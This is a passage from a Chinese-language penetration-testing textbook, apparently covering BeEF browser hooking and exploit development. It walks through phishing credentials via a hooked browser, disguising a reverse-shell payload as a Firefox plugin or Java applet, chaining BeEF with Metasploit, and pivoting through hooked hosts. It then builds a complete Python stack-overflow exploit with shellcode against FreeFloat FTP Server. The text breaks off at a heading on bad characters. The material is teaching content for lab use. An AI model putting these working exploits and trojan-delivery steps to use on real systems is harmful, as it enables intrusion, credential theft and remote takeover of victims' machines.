这种攻击针对手机的浏览器极为有效，因为大部分人在查看手机浏览器时不会注意到地址栏的。所以成功率很高。
 
那么，如何才能在BeEF中查看到我们截获的用户名和密码呢？方法也很简单，我们只需要在中间那一栏中，找到刚刚执行的命令，例如刚才执行的是command1，单击这个command1，那么在最右侧就会出现执行命令的结果，如图10-11所示。
 
[image: 图片 28]
 
图10-11　在BeEF中查看获取的用户名和密码
 
可以看到我们已经截获到了用户名为admin@google.com，密码为admin123。
 
如果你希望能欺骗用户下载一个远程控制的被控端，就可以使用伪造的插件，例如这里目标使用Firefox浏览器，我们就诱使目标下载一个伪造的Firefox插件，首先找到这个插件所在的位置，如图10-12所示。
 
[image: 图片 30]
 
图10-12　选择伪造的Firefox插件
 
我们首先根据目标浏览器的类型选中要使用的伪造插件模块，这里以Firefox为例，如图10-13所示。
 
[image: 图片 32]
 
图10-13　对伪造的Firefox插件进行设置
 
当然我们并不是真的要目标来下载一个插件，而是一个伪装的远程控制的被控端，那么就可以在图10-13中的位置2来执行所需要使用的远程控制的被控端程序。图10-14中的位置3则显示了在目标主机浏览器上显示的内容，单击执行之后，我们在手机端可以看到如图10-14所示的界面。
 
[image: 图片 34]
 
图10-14　BeEF伪造的插件下载
 
如图10-14所示，图中框选部分即为伪造的插件，如果用户下载了这个伪造的插件并执行的话，那么我们就可以实现对其手机的远程控制了。
 
另外我们可以使用一种与这个方法相同的效果十分明显的Java Payload方法。这种方法通过弹出安装插件的方式诱使目标安装这个伪造插件，其实这个插件是我们精心设计的木马文件。这种方法的成功率相当高。使用的方法是在命令标签中，依次选中Exploit/Local Host下的Java Payload，如图10-15所示。
 
[image: 图片 51]
 
图10-15　选择Java Payload模块
 
选中这个模块之后，在右侧会弹出这个模块的属性设置，这里设置的就是一会儿用来伪装成浏览器插件的被控端程序。这里我们只需要将Connect Back to Host（回连控制主机）设置为我们主控端程序所在的地址即可，这里我们将其设置为192.168.1.104，如图10-16所示。
 
[image: 图片 54]
 
图10-16　设置伪装的被控端程序
 
需要注意的是，在启动这个模块之前我们要在Kali Linux 2中打开一个handler，如图10-17所示。这个handler的设置要和这里的Payload一模一样。
 
[image: 图片 5]
 
图10-17　设置Metasploit中的handler
 
在“Module Results History”标签中查看命令执行的过程，如图10-18所示。
 
在“Command result”中查看执行过的命令，如图10-19所示。
 
[image: 图片 52]
 
图10-18 “Module Results History”标签
 
[image: 图片 53]
 
图10-19 “Command result”中执行过的命令
 
在目标主机上就会弹出一个伪造的应用程序窗口，如图10-20所示。
 
[image: 图片 56]
 
图10-20　弹出的伪造的应用程序窗口
 
如果目标执行了这个payload的话，同样会返回一个控制会话（session），如图10-21所示。
 
[image: 图片 4]
 
图10-21　打开的session会话
 
10.3　使用BeEF和Metasploit协同工作
 
另外我们可以在BeEF中集成所有的Metasploit功能，图10-22给出了没有集成Metasploit之前的BeEF模块，这里显示可用的Metasploit模块只有一个。
 
[image: 图片 35]
 
图10-22　BeEF中的Metasploit模块
 
接下来我们对其进行设置，在没有启动BeEF和Metasploit的时候，先切换到BeEF-XSS的安装目录。
 
root@kali:~# cd /usr/share/beef-xss/

root@kali:/usr/share/beef-xss# ls

arerules  beef_cert.pem  config.yaml  db           Gemfile       modules

beef       beef_key.pem   core          extensions Gemfile.lock
 
这里面需要修改的是config.yaml文件，执行如图10-23所示的命令。
 
[image: 图片 37]
 
图10-23　打开config.yaml文件
 
将这里面metasploit后面的enable：后面的false修改为true，然后保存退出。
 
接下来打开beef-XSS目录下面的extensions/metasploit文件夹，修改其中的config.yaml文件。
 
root@kali:/usr/share/beef-xss# cd extensions/metasploit/
 
root@kali:/usr/share/beef-xss/extensions/metasploit# leafpad config.yaml
 
对里面的配置进行修改，将host的值（1所在的位置）修改为本机现在的地址。
 
将host的值和callback host的值（1和2所在的位置）修改为本机现在的地址192.168.1.104，检查3所在位置metasploit的目录是否正确。将4所在位置的内容修改为/usr/share/metasploit-framework/。修改之前的config.yaml文件如图10-24所示，修改完的配置如图10-25所示。
 
[image: 图片 38]
 
图10-24　修改之前的config.yaml文件
 
[image: 图片 40]
 
图10-25　修改之后的config.yaml文件
 
另外，要记住这个配置文件中的user和pass两个选项的值，如图10-26所示。
 
[image: 图片 41]
 
图10-26　修改的用户名和密码
 
接下来我们要启动metasploit，在启动之前要先将metasploit的所有服务启动。
 
如图10-27所示，首先启动postgresql数据库：/etc/init.d/postgresql start或者service postgresql start；初始化MSF数据库（关键步骤！）：msfdb init。
 
[image: 图片 43]
 
图10-27　启动postgresql数据库
 
接下来，在命令行中使用msfconsole命令启动metasploit。
 
root@kali:~# msfconsole
 
成功启动metasploit之后，我们就根据刚才输入的服务器地址和密码来连接载入msgrpc。
 
msf > load msgrpc ServerHost=192.168.1.104 Pass=abc123
 
成功启动之后，会得到如图10-28所示的结果。
 
[image: 图片 42]
 
图10-28　成功启动msgrpc
 
然后在beef目录中启动BeEF，就会显示加载了297个Metasploit模块。注意一定要从/usr/share/beef-xss这个目录启动BeEF，如图10-29所示，否则将无法加载这些模块。
 
[image: 图片 44]
 
图10-29　开始加载Metasploit模块
 
重新打开BeEF之后，可以看到这里面的Metasploit模块有593个，如图10-30所示。
 
如图10-31所示，单击这个模块分类左侧的三角形就可以展开里面的所有模块。
 
[image: 图片 45]
 
图10-30　Module Tree中的Metasploit模块
 
[image: 图片 46]
 
图10-31　查看这个分类下面的所有模块
 
上面的这些模块都是Firefox中可用的，但是需要注意的是这里并非所有模块都是可以达到渗透效果的，因为这个模块所针对的漏洞，可能在目标系统上已经打上了相应的补丁了。这里我们以其中的一个来介绍使用方法，例如第一个Firefox8/9 AttributeChildRemoved() Use -After-Free漏洞,这个漏洞是针对8.0、8.1和9.0版本的firefox，需要设置的参数如图10-32所示。
 
[image: 图片 48]
 
图10-32　为这个模块设置参数
 
为了实现对目标的控制，这里我们选择一个常用的Payload，如图10-33所示。
 
[image: 图片 49]
 
图10-33　选择一个常用的Payload
 
选择完成后，IP地址和端口会自动设置好，如图10-34所示。
 
[image: 图片 50]
 
图10-34　已经设置好LHOST和LPORT的Payload
 
然后根据所使用Payload的设置在Metasploit中启动一个handler，如图10-35所示。
 
[image: 图片 5]
 
图10-35　对Handler进行设置
 
具体的步骤在之前已经设置过，这里不再赘述。返回到BeEF界面，单击Execute按钮，如果目标上存在这个漏洞的话，就会返回一个控制会话handler。但是并不建议这种渗透方式，因为这种方式的成功率不如Metasploit中的browser_autopwn高。
 
10.4　BeEF的其他实用操作
 
利用BeEF控制了目标主机之后，我们还可以进行一些类似于后渗透之类的操作，例如利用目标主机进行扫描等。下面我们利用这台主机来发现它所在网络的信息，可以使用例如BeEF 中提供的“Ping Sweep”功能，如图10-36所示。
 
[image: 图片 57]
 
图10-36 使用“Ping Sweep”模块
 
然后在这个“Ping Sweep”模块中设置参数，主要是需要扫描的目标，如图10-37所示。
 
[image: 图片 61]
 
图10-37　设置“Ping Sweep”中的参数
 
单击下方方框标识出来的命令来查看执行的结果，如图10-38所示。
 
[image: 图片 59]
 
图10-38　点击命令查看执行的结果
 
右侧会显示这条命令执行的结果，如图10-39所示。
 
[image: 图片 60]
 
图10-39 “Ping Sweep”执行的结果
 
这次扫描结果显示我们在192.168.1.0/24这个地址范围内查找到了3个活跃主机。另外我们也可以将受到控制的主机设置为本机的代理，如图10-40所示。
 
[image: 图片 3]
 
图10-40　将受到控制的主机设置为代理
 
这时我们就可以利用这个代理来完成很多任务，例如内部网络探测、远程主机扫描等工作。
 
10.5　小结
 
本章我们介绍了一个新的渗透测试方法XSS（跨站脚本攻击），这是一种令人防不胜防的渗透方式，用户往往只是访问了恶意攻击者建立的网站就会被渗透。这里我们采用了“BeEF”框架演示了这种攻击方式的常见过程。
 
本章首先讲解如何在Kali Linux 2中启动这个框架，这个框架分成前台和后台两个部分，恶意攻击者想法让用户浏览前台，然后使用后台来控制用户的浏览器。前台一共提供了两个界面：一个是基本页面，另一个是高级页面。其中高级页面看起来更像是一个真实的网站。接下来我们利用后台对目标进行了各种渗透，并将BeEF和Metasploit结合使用，这样我们就可以在BeEF中使用Metasploit中的各种模块，最后我们介绍了BeEF中提供的后渗透攻击模块。
 
到现在为止已经介绍了很多种工具的使用，在下一章中我们要自己动手编写针对漏洞的渗透模块。
 


第11章　漏洞渗透模块的编写
 
之前我们已经学习了如何使用Kali Linux 2中的各种工具，这些工具的使用很简单，但是这些工具是如何开发出来的呢？长期以来，黑客们一般会把那些只会使用别人编写的工具的初学者称之为“script kiddie”，翻译过来就是我们常说的“脚本小子”。其实这并不是一个纯粹的贬义词，但是如果你希望成为一个网络安全方面的专业人士，那么编程技能是必不可少的。
 
在这一章中我们来学习一下如何开发一个漏洞渗透模块。我们选择的目标是一个简单的软件——“FreeFloat FTP Server”，这是一款十分受欢迎的FTP服务器软件，但是这款软件早期的版本中存在一个栈溢出的漏洞，因此会被人利用从而发生远程代码执行的问题，攻击者可能借此来控制安装有该软件的计算机设备。
 
在这一章中我们将会讲解如下几点内容：
 
 
 	如何对软件的溢出漏洞进行测试
 
 	计算软件溢出的偏移地址
 
 	查找JMP ESP指令
 
 	编写渗透程序程序
 
 	坏字符的确定
 
 	使用Metasploit来生成Shellcode
 

 
11.1　如何对软件的溢出漏洞进行测试
 
渗透工具看起来功能是不是十分神奇？现在我们就来学习如何实现对一个软件进行渗透，这次我们渗透测试的目标为“FreeFloat FTP Server”，这是一个十分简单的FTP工具。我们将这个工具放置在虚拟机Windows XP中，然后运行这个工具，如图11-1所示。
 
[image: 图片 3]
 
图11-1 FreeFloat FTP Server
 
FreeFloat FTP Server会在运行的主机上建立一个FTP服务器，其他计算机上的用户可以登录到这个FTP上来存取文件，例如我们在主机192.168.1.106的C盘中运行这个FTP软件的话，在另外一台计算机中可以使用FTP下载工具或者命令的方式进行访问。这里我们采用命令的方式对其进行访问，如图11-2所示。
 
[image: 图片 6]
 
图11-2　远程连接到FreeFloat FTP Server
 
首先使用ftp命令，然后使用open命令打开192.168.1.106。注意不要使用浏览器打开这个ftp，那样做的话你将无法看到登录过程。
 
使用FreeFloat FTP Server这个服务器对登录没有任何限制，你输入任意的用户名和密码都可以登录进去，如图11-3所示。
 
[image: 图片 9]
 
图11-3　输入任意的用户名
 
在这里我们随意输入一些字符，例如“aaa”，然后单击回车，如图11-4所示。
 
[image: 图片 12]
 
图11-4　输入任意的密码
 
同样密码也随意地输入即可，例如输入“aaa”，然后单击回车便可登陆到FTP，如图11-5所示。
 
[image: 图片 15]
 
图11-5　登录到FTP
 
这里显示用户aaa已经成功登录了，我们可以使用ftp中的任意资源了，其实这里使用任何一个用户名都可以成功地登录。
 
我们现在来看看这个工具是否存在栈溢出漏洞。现在我们在输入用户名的时候，尝试使用一个特别长的字符串作为用户名，来看看在用户名输入的位置是否存在溢出的漏洞，比如说输入数百个“a”，如图11-6所示。
 
[image: 图片 18]
 
图11-6　以数百个“a”作为用户名
 
但是系统并没有崩溃，而是正常地出现了输入密码的提示界面，如图11-7所示。
 
[image: 图片 21]
 
图11-7　输入密码
 
这时不要放弃，我们再尝试输入更多的“a”作为用户名，如图11-8所示。
 
[image: 图片 24]
 
图11-8　输入更多的“a”作为用户名
 
目标的系统仍然正常出现了输入密码的界面，可见系统没有崩溃。那么是不是这个软件并不存在溢出问题呢？在做渗透模块的编写的时候，千万不要在此时就放弃，我们打开Wireshark捕获的此次登录的数据包看一下，如图11-9所示。
 
[image: 图片 27]
 
图11-9　使用Wireshark捕获登录过程的数据包
 
在这里我们会发现实际上发送出去数据包中的字符“a”的数量并没有那么多，无论我们在登录用户名时输入多么长的用户名，而实际上发送出去的只有78个“a”。显然这个长度的字符是无法引起溢出的，那么我们有什么办法可以加大字符串的数量呢？
 
最直接的方法就是我们自行构造数据包，然后将数据包发送出去，这样我们想要数据包中包含多少个“a”，就可以发送多少个“a”出去了。
 
这里我们首先编写一个可以自动连接到“FreeFloat FTP Server”服务器的客户端脚本，这里面我们采用Python语言来编写这段脚本，Python是现在网络渗透界中最为流行的语言，另外这门语言也极为简单。如果你之前对Python一无所知的话，我建议你最好立刻开始对这门语言进行学习。
 
好了，我们先来建立一个到“FreeFloat FTP Server”服务器的连接。因为这个软件提供的是FTP服务，所以我们只需要按照连接FTP的过程来编写这段脚本即可，而且这段脚本可以用来连接到任何提供FTP服务的软件上。
 
首先我们导入需要使用的socket库。
 
import socket
 
执行的结果如图11-10所示。
 
[image: 图片 1]
 
图11-10　在Python中导入所需要的库
 
接着创建一个socket套接字。
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 
执行的结果如图11-11所示。
 
[image: 图片 2]
 
图11-11　创建一个socket套接字
 
利用这个套接字就可以建立到目标的连接。
 
connect=s.connect(('192.168.79.131',21))
 
执行之后，我们就建立好了一个到目标主机21端口的连接，但是到FTP的连接需要认证，我们仍然需要向目标服务器提供一个用户名和一个密码。服务器通常会对用户名和密码的正确性进行验证，也就是将用户的输入与自己保存的记录进行比对。
 
我们可以将用户名的输入作为一个测试点，这也是一个最为常见的情形。主要是因为早期的时候，很多程序员都会使用memcpy()这个函数来将用户的输入复制到一个变量中，但是这些程序员往往会忽略对地址是否越界进行检查，从而导致数据的溢出，进而引发代码远程执行的问题。
 
好了，现在我们就把“FreeFloat FTP Server”用户名的输入作为渗透测试的锲入点，首先来检查这个软件是否存在栈溢出的现象，这个检查其实很简单，我们在输入用户名的时候，并不像常规的那样，输入几个或者十几个字符，而是输入成百上千的字符，同时观察目标服务器的反应。
 
我们首先来观察一下，正常连接到目标服务器上的数据包的格式，如图11-12所示。此处使用wireshark抓取我们输入用户名的数据包，并观察其中的格式。
 
[image: 图片 27]
 
图11-12　登录的数据包格式
 
图11-12中我们输入的用户名是一段字符，这段字符前面是“USER”，后面是一个回车符和换行符“\r\n”。我们使用socket套接字中的send（）方法可以将一个字符串以数据包的形式发送出去，这里面我们以成百上千的“A”作为用户名。
 
s.send('USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n')
 
将这个数据包发送到目标FTP服务器上，我们可以看到这个FTP服务器工具崩溃了，并且出现了如图11-13所示的问题提示。
 
[image: 图片 3]
 
图11-13　引起了目标崩溃
 
11.2　计算软件溢出的偏移地址
 
这里显示软件“FreeFloat FTP Server”执行到地址“41414141”处时就无法再继续下去了。按照我们之前讲过的知识，出现这种情况的原因是原本保存下一条地址的EIP寄存器中的地址被溢出的字符“A”所覆盖。“\x41”在ASCII表中表示的正是字符“A”，也就是说现在EIP寄存器中的内容就是“AAAA”，而操作系统无法在这个地址找到一条可以执行的命令，从而引发系统的崩溃。
 
好了，现在我们可以在调试器中看到EIP的地址，但是你要知道程序在操作系统中的执行是动态的，也就是说每一次这个软件执行时所分配的地址都是不同的。所以我们现在需要知道的不是EIP的绝对地址，而是EIP相对输入数据起始位置的相对位移。
 
如果这个位移的值不大的话，我们可以用逐步尝试的方法获取这个值。但是如果位移比较大的话，我们还是需要使用到一些工具来提高效率，例如这里我们就可以借助Metasploit中内置的两个工具pattern_create和pattern_offset来完成这个任务。
 
这两个工具各自具有自己的功能，pattern_create可以用来创建一段没有重复字符的文本，我们将这段文本发送到目标服务器，当发生溢出时，记录下程序发生错误的地址（也就是EIP中的内容），这个地址其实就是文本中的四个字符。然后我们可以利用pattern_offset快速地找到这4个字符在文本中的偏移量，而这个偏移量就是EIP寄存器的地址。
 
好了，我们现在先来演示一下这个过程。首先启动kali虚拟机，打开一个终端，然后切换到Metasploit的目录：
 
root@kali:cd /usr/share/metasploit-framework/tools/exploit
 
然后在这个目录中执行工具pattern_create.rb,这是一个由ruby语言编写的脚本。
 
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb
 
如果你想了解这个工具的使用方法，可以使用参数-h来显示所有可以使用的参数以及它们的用法，如图11-14所示。
 
[image: 图片 10]
 
图11-14　使用pattern_create.rb
 
图11-14中给出了这个工具的用法，其中最为常用的参数是-l，这个参数可以用来指定生成字符串的长度，下面我们来生成一段500个字符的文本，如图11-15所示。
 
[image: 图片 11]
 
图11-15　使用pattern_create.rb产生长度为500的字符串
 
然后我们使用这个pattern_create.rb产生的字符来代替那些“A”。仍然使用前面那段连接目标服务器的python脚本将这个内容发送出去。
 
s.send('USER Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq\r\n')
 
好了，可以看到如图11-16所示的报错信息，这个FreeFloat FTP Server软件再次崩溃了。
 
[image: 图片 14]
 
图11-16　目标再次崩溃
 
我们记下提示信息中的地址“37684136”，然后使用pattern_offset来查找这个值对应的偏移量。启动pattern_offset的方法和之前的pattern_create几乎是一样的，如果你之前没有切换到metasploit的目录，那么就需要执行。
 
root@kali:cd /usr/share/metasploit-framework/tools/exploit
 
然后在这个目录中执行工具pattern_offset.rb,这也是一个由ruby语言编写的脚本。
 
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb
 
同样可以使用参数-h来查看参数帮助。
 
我们使用参数-q加上溢出的地址值，使用-l来指定字符串的长度（就是之前pattern_ create.rb所使用的参数，也就是500）。
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图11-17　pattern_offset的选项
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图11-18　使用pattern_offset.rb来查找溢出的地址
 
现在我们成功找到了EIP寄存器的位置。而这个寄存器中的值决定了程序下一步的执行位置，到此我们已经成功了一大半了。
 
好了，现在我们向目标发送能够导致系统溢出到EIP的数据，之前我们已经计算出EIP的偏移量是230，那么现在提供了230个字符“A”即可，之后就是4个“B”。
 
importsocket

buff = "\x41"*230+"\x42"*4

target = “192.168.1.106”

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((target,21))

s.send("USER "+buff+"\r\n")

s.close()
 
然后我们仍然重复之前的步骤，在虚拟机中打开“FreeFloat FTP Server”，然后执行上面的脚本，可以看到程序已经崩溃。如图11-19所示，显示崩溃的地址是“42424242”，这说明EIP中的地址已经被更改为了字符“B”,这验证了我们之前找到的偏移地址的正确性。
 
[image: 图片 4]
 
图11-19　崩溃的地址是“42424242”
 
11.3　查找JMP ESP指令
 
但是这里其实还是有一个问题，就是即使我们控制了EIP中的内容，但是之前我们已经看到了任何的一个程序在每一次执行时，操作系统都会为其分配不同的地址。所以我们即使可以决定程序下一步执行的地址，但是却并不知道我们的恶意攻击载荷位于哪个位置，还是没有办法让目标服务器执行这个恶意的攻击载荷。
 
接下来我们就要想一个办法，让这个EIP中的地址指向我们的攻击载荷，这里我们先来看一下输入的用户名数据在执行时是如何分布的，如图11-20所示。
 
[image: 17-1382 图\1120.tif]
 
图11-20　程序在内存中的分布
 
按照栈的设计，ESP寄存器应该就位于EIP寄存器的后面（中间可能有一些空隙），如图11-21所示。那么这个寄存器就是我们最理想的选择，一来我们在使用大量字符来溢出栈的时候，也可以使用特定字符来覆盖ESP，二来我们虽然无法对ESP寄存器进行定位，但是可以利用一条“JMP ESP”的跳转指令来实现跳转到当前ESP寄存器。
 
[image: 17-1382 图\1121.tif]
 
图11-21　接收了我们数据之后程序的内存分布
 
我们接下来的工作就是要找到一条地址不会发生改变的“JMP ESP”指令，ntdll.dll（NT Layer DLL）是Windows NT操作系统的重要模块，属于系统级别的文件。用于堆栈释放、进程管理。kernel32.dll是Windows 9x/Me中非常重要的32位动态链接库文件，属于内核级文件。它控制着系统的内存管理、数据的输入输出操作和中断处理，当Windows启动时，kernel32.dll就驻留在内存中特定的写保护区域，使别的程序无法占用这个内存区域。
 
一些经常被用到的动态链接库会被映射到内存，如kernel.32.dll、user32.dll会被几乎所有进程加载，且加载基址始终相同（不同操作系统上可能不同）。我们现在只需要在这些动态链接库中找到“JMP ESP”命令就可以了。找到的“JMP ESP”的地址是一直都不会变的。
 
这里面我们还需要使用到Immunity Debugger，但是这个工具本身并没有提供查找“JMP ESP”命令的功能，我们需要借助一个使用python编写的插件来完成这个任务，这个插件就是“Mona.py”，你可以从https://github.com/corelan/mona下载它。
 
Mona.py的使用方法也很简单，你只需要将下载好的这个插件复制到Immunity Debugger安装目录下的PyCommands文件夹中就可以使用了。然后我们在Immunity Debugger的命令行中输入“!mona”命令，如图11-22所示。
 
[image: 图片 3]
 
图11-22　在Immunity Debugger中启动mona
 
如果mona.py插件已经成功被加载了的话，执行这条命令就会打开一个“Log data”窗口，如图11-23所示，里面给出了mona.py的介绍和使用方法。
 
我们在命令行中执行“!monajmp -r esp”来查找“JMP ESP”命令，执行的结果如图11-24所示。
 
[image: 图片 7]
 
图11-23　mona.py的工作界面
 
[image: 图片 9]
 
图11-24　使用mona.py查找到的“JMPESP”命令
 
可以看到这里找到了很多条可以使用的指令，这些指令主要来源于SHELL32.dll、GDI32.dll、ADVAPI32.dll，这里面我们选择第一条指令来作为跳转指令，这里需要记录下地址“7C9D30D7”。
 
11.4　编写渗透程序
 
这里面的地址存在一个问题，同样的一个地址数据在网络传输和CPU存储时的表示方法是不同的，这里有一个大端和小端的概念，大端（Big-Endian）、小端（Little-Endian）以及网络字节序的概念在编程中经常会遇到，其中网络字节序(Network Byte Order)一般是指大端（Big-Endian，对大部分网络传输协议而言）传输，大端、小端的概念是面向多字节数据类型的存储方式定义的，小端就是低位在前（低位字节存在内存低地址，字节高低顺序和内存高低地址顺序相同），大端就是高位在前（其中“前”是指靠近内存低地址，存储在硬盘上就是先写那个字节）。概念上字节序也叫主机序。
 
这里我们在使用python编程向目标发送“JMP ESP”指令的地址时使用的是大端格式，而当前的地址“7C9D30D7”其实是小端格式，两者需要进行调整。如果我们希望使用“7C9D30D7”来覆盖目标地址，在使用Python编写渗透程序的时候就需要使用倒置的地址“/xD7/x30/x9D/x7C”。
 
好了，现在我们向目标发送能够导致系统溢出到EIP的数据，之前我们已经计算出EIP的偏移量是230，那么现在提供230个字符“A”即可，之后就是“\xD7\x30\ x9D\x7C”。
 
import socket

buff = "\x41"*230+“\xD7\x30\x9D\x7C”

target = “192.168.1.106”

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((target,21))

s.send("USER "+buff+"\r\n")

s.close()
 
然后我们仍然重复之前的步骤，在虚拟机中打开“FreeFloat FTP Server”，然后执行上面的脚本，观察调试器中的提示，找到溢出的地址，如图11-25所示。
 
[image: 图片 3]
 
图11-25　找到溢出的地址
 
好了，是不是看起来胜利就在眼前了，按照我们之前的设计，现在只需要把希望在目标计算机上执行的代码添加上去即可。下面我们来编写一段可以在目标计算机启动一个计算器的脚本：
 
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .

"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .

"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .

"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .

"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .

"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .

"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .

"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .

"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .

"\x7f\xe8\x7b\xca";
 
这段脚本如果在目标计算机上执行的话，就会启动计算器程序。下面我们将这段脚本添加到原来程序的buff中，修改后的程序如下所示。
 
importsocket

buff = "\x41"*230+"\xD7\x30\x9D\x7C"

shellcode="\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"

shellcode+="\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"

shellcode+="\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"

shellcode+="\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"

shellcode+="\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"

shellcode+="\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"

shellcode+="\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"

shellcode+="\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"

shellcode+="\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"

shellcode+="\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"

shellcode+="\x7f\xe8\x7b\xca"

buff+=shellcode

target = “192.168.1.106”

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((target,21))

s.send("USER "+buff+"\r\n")

s.close()
 
执行这段脚本之后，目标系统的“FreeFloat FTP Server”崩溃了，但是却没有启动计算器程序，这是为什么呢？我们还是启动Immunity Debugger来调试一下，可以看到这里之前的命令都执行成功了，但是ESP的地址向后发生了偏移，这样就导致了shellcode的代码并没有全部载入到ESP中，最前面的一部分在ESP的外面，这样就会导致即使我们控制了程序，但是由于ESP中只有一部分shellcode，因此执行的时候缺失了一部分，从而导致程序不能够正常执行。
 
那么我们该如何解决这个问题呢？解决的方法就是一个特殊的指令“\x90”。“\x90”其实就是NOPS，也就是空指令，这个指令不会执行任何的实际操作。但是它也是一条指令，因此会顺序地向下执行，这样我们即使并不知道ESP的真实地址，只需要多在EIP后面添加一些空指令，只要这些空指令足够多到将shellcode偏移进了ESP，就可以顺利执行shellcode。
 
比如说，我们现在向程序中添加20个“\x90”，修改后的代码如下所示。
 
import socket

buff = "\x41"*230+"\xD7\x30\x9D\x7C"+"\x90"*20

shellcode="\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"

shellcode+="\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"

shellcode+="\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"

shellcode+="\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"

shellcode+="\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"

shellcode+="\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"

shellcode+="\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"

shellcode+="\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"

shellcode+="\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"

shellcode+="\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"

shellcode+="\x7f\xe8\x7b\xca"

buff+=shellcode

target = "192.168.1.106"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((target,21))

s.send("USER "+buff+"\r\n")

s.close()
 
现在我们来执行一下这段脚本，查看目标系统的反应，可以看到当右侧的程序执行之后，目标系统就会弹出一个计算器程序。这说明我们编写的漏洞渗透程序已经成功了。
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图11-26　执行脚本时弹出的计算器程序（该测试中目标就是本机）
 
11.5　坏字符的确定
 
